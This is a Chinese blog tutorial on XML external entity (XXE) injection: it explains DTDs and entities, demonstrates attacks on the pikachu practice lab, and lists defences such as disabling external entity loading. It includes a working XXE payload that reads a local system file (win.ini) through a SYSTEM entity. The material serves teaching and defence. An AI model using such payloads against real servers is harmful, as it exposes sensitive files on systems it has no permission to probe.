网络安全-XXE(XML外部实体注入)原理、攻击及防御

简介: 网络安全-XXE(XML外部实体注入)原理、攻击及防御

前言

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD文档

<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

内部声明实体

<!ENTITY 实体名称 "实体的值">

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI">

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

调用方式:&实体名称;

简介

XML外部实体注入(XML External Entity,为什么不取首字母呢...),简称XXE漏洞。

原理

服务端接收并解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

攻击

使用靶机:pikachu

2020062310470442.png

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "lady_killer9">
]>
<name>&hacker;</name>

2020062310470442.png

                                                 字符串回显

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">
]>
<name>&hacker;</name>

 2020062310470442.png

                                       敏感文件查看

防御

禁用外部实体

PHP中使用libxml_disable_entity_loader(true);

其他语言(C++、Java等):owasp XXE防御备忘录


博主在做项目时使用的是xml.etree.ElementTree,在python官方文档中也提到对于错误xml以及恶意构建的xml可能存在解析漏洞。不过,python在外部实体注入方面认为是安全的。

过滤用户提交的XML数据

过滤掉关键词:SYSTEM和PUBLIC

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关文章
|
2月前
|
SQL 安全 算法
网络安全之盾:漏洞防御与加密技术解析
在数字时代的浪潮中,网络安全和信息安全成为维护个人隐私和企业资产的重要防线。本文将深入探讨网络安全的薄弱环节—漏洞,并分析如何通过加密技术来加固这道防线。文章还将分享提升安全意识的重要性,以预防潜在的网络威胁,确保数据的安全与隐私。
94 2
|
3月前
|
安全 算法 网络安全
网络安全的盾牌与剑:漏洞防御与加密技术深度解析
在数字信息的海洋中,网络安全是航行者不可或缺的指南针。本文将深入探讨网络安全的两大支柱——漏洞防御和加密技术,揭示它们如何共同构筑起信息时代的安全屏障。从最新的网络攻击手段到防御策略,再到加密技术的奥秘,我们将一起揭开网络安全的神秘面纱,理解其背后的科学原理,并掌握保护个人和企业数据的关键技能。
147 3
|
3月前
|
SQL 安全 算法
网络安全漏洞与防御策略:深入加密技术和安全意识的培养
在数字化时代,网络安全的重要性日益凸显。本文将深入探讨网络安全的多个维度,包括常见的网络漏洞类型、加密技术的应用以及如何培养强大的网络安全意识。通过分析这些关键要素,读者将获得保护个人和组织数据免受威胁所需的知识。
|
3月前
|
SQL 安全 网络安全
网络安全的盾牌与利剑:漏洞防御与加密技术的深度剖析
在数字化时代的浪潮中,网络信息安全成为维护个人隐私和组织资产的关键防线。本文将深入探讨网络安全的核心议题,包括常见的安全漏洞、先进的加密技术以及提升整体网络安全意识的重要性。通过分析最新的攻击手段和防御策略,旨在为读者提供一个关于如何构建更安全网络环境的实战指南。
|
3月前
|
SQL 安全 算法
网络安全的隐形盾牌:漏洞防御与加密技术
在数字化时代,网络安全成为保护个人隐私和公司资产不可或缺的一部分。本文将探讨网络安全中的常见漏洞、加密技术的重要性以及提升安全意识的必要性。通过分析不同类型的网络攻击案例,我们将了解如何识别和应对这些威胁。同时,文章还将介绍基础的加密技术概念,并通过代码示例展示如何在实际中应用这些技术来保护数据。最后,讨论为何提高个人和组织的安全意识是防范网络威胁的关键。
|
3月前
|
SQL 安全 网络安全
网络安全的盾牌:从漏洞到防御
在数字世界的海洋中,网络安全是守护我们数据宝藏的坚固盾牌。本文将带领读者穿梭在网络的波涛之中,揭示隐藏在深处的安全漏洞,探索加密技术的奥秘,并提升个人的安全意识。我们将一同见证,如何通过技术和智慧的结合,构建起一道道坚不可摧的防线。
56 3
|
3月前
|
SQL 监控 安全
网络安全的盾牌与利剑:漏洞防御与加密技术解析
在数字时代的洪流中,网络安全如同一场没有硝烟的战争。本文将深入探讨网络安全的核心议题,从网络漏洞的发现到防御策略的实施,以及加密技术的运用,揭示保护信息安全的关键所在。通过实际案例分析,我们将一窥网络攻击的手段和防御的艺术,同时提升个人与企业的安全意识,共同构筑一道坚固的数字防线。
|
3月前
|
数据库连接 Go 数据库
Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性
本文探讨了Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性;防御编程则强调在编码时考虑各种错误情况,确保程序健壮性。文章详细介绍了这两种技术在Go语言中的实现方法及其重要性,旨在提升软件质量和可靠性。
57 1
|
3月前
|
安全 算法 网络安全
揭秘网络安全的护城河:漏洞防御与加密技术的前沿探索
【10月更文挑战第42天】在数字时代的浪潮中,网络安全成为保护个人隐私和企业资产的关键防线。本文将深入探讨网络安全的两个核心要素:安全漏洞及其防御策略、先进的加密技术。通过分析近期的安全漏洞案例,揭示网络攻击的常见模式和防御手段。同时,文章将介绍当前加密技术的应用和挑战,强调安全意识的重要性,并提出提升网络安全的有效途径。
48 1
|
3月前
|
存储 SQL 安全
网络安全的屏障与钥匙:漏洞防御与加密技术解析
【10月更文挑战第42天】在数字时代的浪潮中,网络安全成为守护个人隐私与企业数据不被侵犯的关键防线。本文将深入探讨网络安全中的两大核心议题——漏洞防御和加密技术。我们将从网络漏洞的识别开始,逐步揭示如何通过有效的安全策略和技术手段来防范潜在的网络攻击。随后,文章将转向加密技术的奥秘,解读其在数据传输和存储过程中保护信息安全的作用机制。最后,强调提升个人和企业的安全意识,是构建坚固网络安全屏障的重要一环。

热门文章

最新文章